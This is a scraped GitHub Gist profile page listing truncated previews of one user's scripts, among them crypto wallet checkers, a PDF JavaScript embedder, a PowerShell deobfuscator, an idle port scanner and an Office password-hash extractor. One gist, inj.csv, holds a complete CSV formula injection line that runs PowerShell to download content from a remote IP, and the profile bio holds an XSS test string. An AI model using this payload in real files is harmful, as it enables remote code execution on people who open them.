Skip to content

Instantly share code, notes, and snippets.

🔴
<script>alert(1);</script>

Edoardo Rosa edoz90

🔴
<script>alert(1);</script>
Block or report user

Report or block edoz90

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@edoz90
edoz90 / getETH.py
Last active Feb 28, 2018
Check current informations from ethermine API and ETH/EUR value
View getETH.py
#!/usr/bin/env python3
import aiohttp
import asyncio
import async_timeout
import datetime
from colored import fg, stylize, attr
wallet_address = "ADDRESS"
urlAPI = "https://api.ethermine.org/miner/{}".format(wallet_address)
coinbase = "https://www.coinbase.com/api/v2/prices/ETH-EUR/spot"
@edoz90
edoz90 / addjstopdf.py
Last active Jun 21, 2019
Add embedded JavaScript script to a PDF document (python3)
View addjstopdf.py
#!/usr/bin/env python3
# https://gist.github.com/edoz90/a441f2bdfc8c99c1999db0a3e8495fb6
# Author: edoz90
try:
from PyPDF2 import PdfFileWriter, PdfFileReader
import click
except ModuleNotFoundError:
print("pip install pypdf2 click")
import sys
@edoz90
edoz90 / reoder_deobfuscator.py
Last active Oct 14, 2019
Try to deobfuscate a powershell script with re-ordering obfuscation
View reoder_deobfuscator.py
#!/usr/bin/env python3
#
# AUTHOR: Edoardo Rosa edoz90 https://github.com/edoz90
# https://twitter.com/_d_0_d_o_
#
# Sample: ("{0}{1}{4}{3}{5}{2}" -f 'CONv','er','G','R','tTo-SecURest','In')
# Decoded output: CONvertTo-SecURestRInG
#
try:
@edoz90
edoz90 / inj.csv
Last active Mar 3, 2018
CSV Formula Injection
View inj.csv
We can make this file beautiful and searchable if this error is corrected: No commas found in this CSV file in line 0.
=cmd|' /k poweRSheLL "(New-Object System.Net.WebClient).DownloadString(''http://10.3.10.1:3445'')"'!A0
View goenv.zsh
#!/usr/bin/env zsh
#
# create a Go workspace
# Author: edoz90
# Usage: `source goenv.zsh [-u|--update]`
#
_GO_PROJECT_DIR="${_:a:h}"
if [[ $(command -v go) ]]; then
@edoz90
edoz90 / bulkblock.zsh
Last active Apr 15, 2018
Block an IP (better inside a loop for multiple IPs) in Wordfence plugin
View bulkblock.zsh
#/usr/bin/env zsh
#
echo "Block IP \"${1}\""
echo "========================================="
local domain="www.mymegasite.org"
local user_agent="Mozilla/5.0 (X11; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0"
local nonce="COPY-PASTED-NONCE"
local data="IP=${1}&reason=Manual+block+by+administrator&perm=1&action=wordfence_blockIP&nonce=${nonce}"
@edoz90
edoz90 / checkBTC.zsh
Last active Aug 31, 2017
Get information of a BTC address of a file with BTC addresses using blockexplorer
View checkBTC.zsh
#!/usr/bin/env zsh
#
# Usage: checkBTC.zsh "myBTCaddress" [.balance]
# or
# Usage: checkBTC.zsh ./listofBTCAddr.txt [.balance]
#
local baseURL="https://blockexplorer.com/api"
validateAddr() {
@edoz90
edoz90 / idlescanner.py
Created May 14, 2017
Dumb script to perform a zombie (idle) port scan using some free non-related service like imgur (by Martin Obiols)
View idlescanner.py
#!/usr/bin/python
'''
Dumb script to perform a zombie (idle) port scan
using some free non-related service like imgur
Questions/Comments:
twitter.com/olemoudi
http://blog.makensi.es
@edoz90
edoz90 / office.py
Created May 5, 2017
OLE to hash (crack password) - unknow source
View office.py
#!/usr/bin/env python
# olefile (formerly OleFileIO_PL) version 0.42 2015-01-25
#
# Module to read/write Microsoft OLE2 files (also called Structured Storage or
# Microsoft Compound Document File Format), such as Microsoft Office 97-2003
# documents, Image Composer and FlashPix files, Outlook messages, ...
# This version is compatible with Python 2.6+ and 3.x
#
# Project website: http://www.decalage.info/olefile
@edoz90
edoz90 / DBus-spotify
Last active Oct 21, 2019
Python script to interact with DBus MediaPlayer2 interface, used by Spotify, VLC, mpd, MPlayer, etc (Info, Play/Pause, Next, Prev, Stop)
View DBus-spotify
#!/usr/bin/env python3
import sys
try:
# http://click.pocoo.org/5/why/
import click
import dbus
from colored import fg, stylize
except:
print("Need to install click, dbus-python and colored")
sys.exit(-1)
You can’t perform that action at this time.